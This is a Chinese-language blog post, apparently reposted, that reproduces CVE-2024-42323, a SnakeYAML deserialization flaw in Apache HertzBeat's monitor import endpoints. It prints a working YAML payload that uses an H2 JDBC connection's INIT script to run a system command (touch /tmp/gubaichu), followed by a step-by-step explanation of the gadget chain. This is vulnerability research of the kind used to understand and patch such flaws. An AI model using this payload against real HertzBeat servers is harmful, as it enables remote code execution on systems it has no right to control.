当前位置: 首页 > ai >正文

CVE-2024-42323

漏洞名称

Apache HertzBeat SnakeYaml 反序列化远程代码执行漏洞(CVE-2024-42323)

漏洞描述

Apache HertzBeat 是一款开源的实时监控告警工具,支持对操作系统、中间件、数据库等多种对象进行监控,并提供 Web 界面进行管理。
在 1.6.0 版本之前,HertzBeat 使用了存在安全漏洞的 SnakeYAML 库来解析 YAML 文件。当已认证用户通过 /api/monitors/import/api/alert/defines/import 接口导入新的监控类型时,可以提供特制的 YAML 内容触发不受信任数据的反序列化,最终可能导致在目标系统上执行远程代码。

漏洞复现

ui:
在这里插入图片描述
登陆后台在这里插入图片描述
导航到任意监控页面并找到导入按钮在这里插入图片描述
导入下列.yaml文件

!!org.h2.jdbc.JdbcConnection [ "jdbc:h2:mem:test;MODE=MSSQLServer;INIT=drop alias if exists exec\\;CREATE ALIAS EXEC AS $$void exec() throws java.io.IOException { Runtime.getRuntime().exec(\"touch /tmp/gubaichu\")\\; }$$\\;CALL EXEC ()\\;", [], "a", "b", false ]

HertzBeat 对 YAML 文件进行反序列化时,触发远程代码执行,进入服务器查看tmp目录,发现成功创建了gubaichu在这里插入图片描述

反序列化说明

H2 数据库的 JDBC 连接字符串支持通过 INIT 参数执行初始化 SQL 脚本。攻击者利用此功能,通过 CREATE ALIAS 创建 Java 方法别名并调用 Runtime.getRuntime().exec,从而触发任意命令执行。具体链路如下:恶意 JDBC URL → 触发 SQL 初始化脚本 → 创建 Java 别名 → 调用系统命令​​。

  1. INIT 参数​​:通过分号转义(\;)分隔多条 SQL 语句,依次执行
  2. drop alias if exists exec:删除已有别名
  3. CREATE ALIAS EXEC:定义 Java 方法别名 exec,内容为执行系统命令 touch /tmp/gubaichu
  4. CALL EXEC():调用自定义的 exec 方法触发命令执行
  5. ava 方法注入​​:通过 $ . . . ... ...$ 包裹的 Java 代码段直接调用系统命令,绕过 H2 的安全限制
http://www.xdnf.cn/news/8010.html

相关文章:

  • FPGA:CLB资源以及Verilog编码面积优化技巧
  • Opencv---RotatedRect
  • RPA在持续集成和持续部署中的角色是什么?
  • 力扣HOT100之二叉树:124. 二叉树中的最大路径和
  • 野火鲁班猫(arrch64架构debian)从零实现用MobileFaceNet算法进行实时人脸识别(四)安装RKNN Toolkit2
  • 服务架构演变过程
  • 腾讯音乐一面
  • PyTorch性能调优实战:从算子优化到分布式训练全攻略
  • 【前端】每日一道面试题4:什么是CSS容器查询(Container Queries)?与媒体查询有何区别?
  • 【MySQL】06.MySQL表的增删查改
  • 元宇宙赛道新势力:芯谷产业园创新业务如何重构产业格局
  • docker命令
  • 前端流行框架Vue3教程:22. 组件生命周期
  • 黑马k8s(十二)
  • 跨境支付风控失效?用代理 IP 构建「地域 - 设备 - 行为」三维防护网
  • 固定资产全链路数字化:从采购到报废的智能管理方案
  • Day 0015:Metasploit 基础解析
  • Java 海康录像机通过sdk下载的视频无法在线预览问题
  • 智能赋能与人文滋养:人工智能时代高中数字化教育的范式重构
  • 大模型应用开发之Dify进阶版使用教程—react前端+django后端+dify-API制作聊天界面
  • 【LLIE专题】基于事件相机照度估计的暗光增强方案
  • 手机合集(不定期更新)
  • redis数据持久化和配置-15(备份和还原 Redis 数据)
  • Ubuntu nginx 配置 SSL 证书支持 https 请求
  • 数据结构 -- B树和B+树
  • 插值算法 - 图像缩放插值QT
  • 容器化与云原生安全
  • 深入剖析 5G 核心网中的 PLMN
  • 青少年编程与数学 02-020 C#程序设计基础 01课题、C#编程概要
  • launch 在Kotlin 中怎么使用